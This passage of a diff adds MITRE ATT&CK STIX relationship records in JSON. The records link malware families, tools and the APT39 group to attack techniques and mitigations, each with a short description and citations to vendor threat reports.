"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-15T13:04:25.256Z", + "id": "relationship--aebe8cdb-9aac-4704-998c-028ba0a81a74", + "source_ref": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", + "modified": "2019-07-24T19:14:04.086Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T17:22:58.006Z", + "id": "relationship--f412db39-9146-4600-8618-8aa7f54da4e0", + "source_ref": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b", + "modified": "2019-07-24T19:13:31.490Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T18:08:05.045Z", + "id": "relationship--cd24838b-45b2-405d-b932-9ac49eca8d4a", + "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "modified": "2019-04-24T23:11:34.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a DGA to derive command and control URLs from a word list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T18:17:14.015Z", + "id": "relationship--489a8a76-4264-462f-be66-217e57d3e907", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T18:26:55.749Z", + "id": "relationship--a72ce53b-311d-43f2-b145-784c322306c1", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.995Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit 2017 Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses a DGA to communicate with command and control servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T20:16:12.245Z", + "id": "relationship--7bfc7122-2dc2-4fd3-be98-2ab87ba4a530", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-04-23T19:32:14.748Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T20:17:17.641Z", + "id": "relationship--978d8c12-bf39-440f-ac17-b66970451152", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "source_name": "Palo Alto OilRig Sep 2018", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can read batch commands in a file sent from its C2 server and execute them with cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T20:33:58.908Z", + "id": "relationship--30f18b5b-a02e-4d15-bfd2-346145453a07", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-04-23T19:32:14.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) persists using a scheduled task that executes every minute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T20:33:58.946Z", + "id": "relationship--749e3cb9-316a-4f97-8554-d83a9e19dfc5", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-04-23T19:32:14.778Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can download or upload files from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T20:33:58.968Z", + "id": "relationship--dd4a0bb3-b9f0-4d69-9768-a17d95783398", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-04-23T19:32:14.791Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is written in PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T20:33:58.973Z", + "id": "relationship--f6d0705a-e4a5-4aae-a8a3-b1c2b7287469", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-04-23T19:32:14.804Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can use DNS and TXT records within its DNS tunneling protocol for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T17:18:41.420Z", + "id": "relationship--730a2fb5-2f51-4db1-b4f1-2112d64df4bf", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-04-23T19:32:14.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "[Expand](https://attack.mitre.org/software/S0361) can be used to download or copy a file into an alternate data stream.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T19:17:15.153Z", + "id": "relationship--78775a68-6973-43b1-a3d9-a1c9c93c5a3f", + "source_ref": "tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973", + "modified": "2019-04-19T18:52:30.159Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019.", + "source_name": "LOLBAS Expand", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Expand/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Expand](https://attack.mitre.org/software/S0361) can be used to download or upload a file over a network share.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T19:17:15.172Z", + "id": "relationship--6aa9250e-cbe8-4f47-9aef-bb178c2b6677", + "source_ref": "tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973", + "modified": "2019-04-19T18:52:30.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019.", + "source_name": "LOLBAS Expand", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Expand/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Expand](https://attack.mitre.org/software/S0361) can be used to decompress a local or remote CAB file into an executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T19:17:15.191Z", + "id": "relationship--31fa2481-0b4f-40d4-b438-1d04a7eb0888", + "source_ref": "tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973", + "modified": "2019-04-19T18:52:30.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Expand Utility", + "description": "Microsoft. (2017, October 15). Expand. Retrieved February 19, 2019.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses [Expand](https://attack.mitre.org/software/S0361) to decompress a CAB file into executable content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-20T15:16:43.083Z", + "id": "relationship--128e8365-7645-41fa-832e-5ff4d8639035", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.490Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious attachments to initially compromise victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:11:08.102Z", + "id": "relationship--f60a3a4e-ba53-47ba-8e31-e301f3983f6e", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:12:55.702Z", + "id": "relationship--66e8d05b-6f51-461d-aec0-266970064939", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:12:55.710Z", + "id": "relationship--47b76f42-e305-4aac-a1cc-d7cb84b1d8bf", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:12:55.714Z", + "id": "relationship--4ecf2ecd-ae5a-417b-a6a7-9690fb83a282", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:12:55.716Z", + "id": "relationship--9cc2f27e-bf85-4471-8be5-0cf614cd5840", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious links to initially compromise victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:12:55.696Z", + "id": "relationship--f5cd03ce-93e0-4458-ba90-ca3926bb41b9", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has been seen using RDP for lateral movement and persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.811Z", + "id": "relationship--42ddce39-b653-4466-b7ff-a9554029f1c6", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has maintained persistence using the startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.802Z", + "id": "relationship--0574a456-6327-4f07-94b0-58be6ecbf8b8", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.434Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has created scheduled tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.821Z", + "id": "relationship--54d5380e-07a4-49b0-8ffd-c34428c90bbe", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.473Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has modified LNK shortcuts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.825Z", + "id": "relationship--25557d9f-bfa0-4da7-8352-ab56b82b475b", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.497Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used nbtscan to discover vulnerable systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.831Z", + "id": "relationship--964233cc-fa6c-4754-9684-6546eb6d5a4a", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.495Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used WinRAR and 7-Zip to compress an archive stolen data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.874Z", + "id": "relationship--5d4ba3fe-d782-47e4-ad82-0b81142a5e1a", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[APT39](https://attack.mitre.org/groups/G0087) used custom tools to create SOCK5 proxies between infected hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.928Z", + "id": "relationship--e2ebd73f-9198-49c7-b446-00478a466e78", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used Mimikatz, Ncrack, Windows Credential Editor and ProcDump to dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.932Z", + "id": "relationship--948eaafc-3440-43f3-b9e4-39eb77197d72", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT39](https://attack.mitre.org/groups/G0087) utilized custom scripts to perform internal reconnaissance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.986Z", + "id": "relationship--a1c62ce5-2f11-415f-bca1-c9021530c090", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.494Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used stolen credentials to compromise Outlook Web Access (OWA).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.991Z", + "id": 